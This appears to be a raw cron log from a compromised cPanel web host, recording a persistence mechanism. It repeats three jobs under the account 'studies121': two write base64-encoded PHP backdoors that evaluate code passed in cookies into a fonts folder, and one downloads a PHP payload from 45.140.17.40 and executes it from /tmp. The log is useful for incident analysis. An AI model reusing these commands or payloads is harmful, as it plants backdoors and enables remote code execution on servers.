Sep  5 23:41:01 ip-184-168-122-23 CROND[11888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:41:01 ip-184-168-122-23 CROND[11890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:42:01 ip-184-168-122-23 CROND[11967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:42:01 ip-184-168-122-23 CROND[11968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:42:01 ip-184-168-122-23 CROND[11971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:42:01 ip-184-168-122-23 CROND[11970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:42:01 ip-184-168-122-23 CROND[11969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:43:01 ip-184-168-122-23 CROND[12061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:43:01 ip-184-168-122-23 CROND[12062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:43:01 ip-184-168-122-23 CROND[12063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:43:01 ip-184-168-122-23 CROND[12064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:44:01 ip-184-168-122-23 CROND[12151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:44:01 ip-184-168-122-23 CROND[12150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:44:01 ip-184-168-122-23 CROND[12152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:44:01 ip-184-168-122-23 CROND[12153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:44:01 ip-184-168-122-23 CROND[12154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:45:01 ip-184-168-122-23 CROND[12238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:45:01 ip-184-168-122-23 CROND[12239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:45:01 ip-184-168-122-23 CROND[12242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:45:01 ip-184-168-122-23 CROND[12246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:45:01 ip-184-168-122-23 CROND[12244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:45:01 ip-184-168-122-23 CROND[12243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:46:01 ip-184-168-122-23 CROND[12416]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:46:01 ip-184-168-122-23 CROND[12418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:46:01 ip-184-168-122-23 CROND[12420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:46:01 ip-184-168-122-23 CROND[12423]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 23:46:01 ip-184-168-122-23 CROND[12419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:46:01 ip-184-168-122-23 CROND[12421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:46:01 ip-184-168-122-23 CROND[12422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:47:01 ip-184-168-122-23 CROND[12567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:47:01 ip-184-168-122-23 CROND[12571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:47:01 ip-184-168-122-23 CROND[12570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:47:01 ip-184-168-122-23 CROND[12575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:48:01 ip-184-168-122-23 CROND[12655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:48:01 ip-184-168-122-23 CROND[12654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:48:01 ip-184-168-122-23 CROND[12656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:48:01 ip-184-168-122-23 CROND[12657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:48:01 ip-184-168-122-23 CROND[12658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:49:01 ip-184-168-122-23 CROND[12741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:49:01 ip-184-168-122-23 CROND[12740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:49:01 ip-184-168-122-23 CROND[12742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:49:01 ip-184-168-122-23 CROND[12743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:50:02 ip-184-168-122-23 CROND[12843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12845]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12846]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:50:02 ip-184-168-122-23 CROND[12847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:50:02 ip-184-168-122-23 CROND[12848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:51:02 ip-184-168-122-23 CROND[13033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:51:02 ip-184-168-122-23 CROND[13036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:51:02 ip-184-168-122-23 CROND[13034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:51:02 ip-184-168-122-23 CROND[13035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:52:01 ip-184-168-122-23 CROND[13122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:52:01 ip-184-168-122-23 CROND[13124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:52:01 ip-184-168-122-23 CROND[13126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:52:01 ip-184-168-122-23 CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:52:01 ip-184-168-122-23 CROND[13125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:53:01 ip-184-168-122-23 CROND[13218]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  5 23:53:01 ip-184-168-122-23 CROND[13221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:53:01 ip-184-168-122-23 CROND[13222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
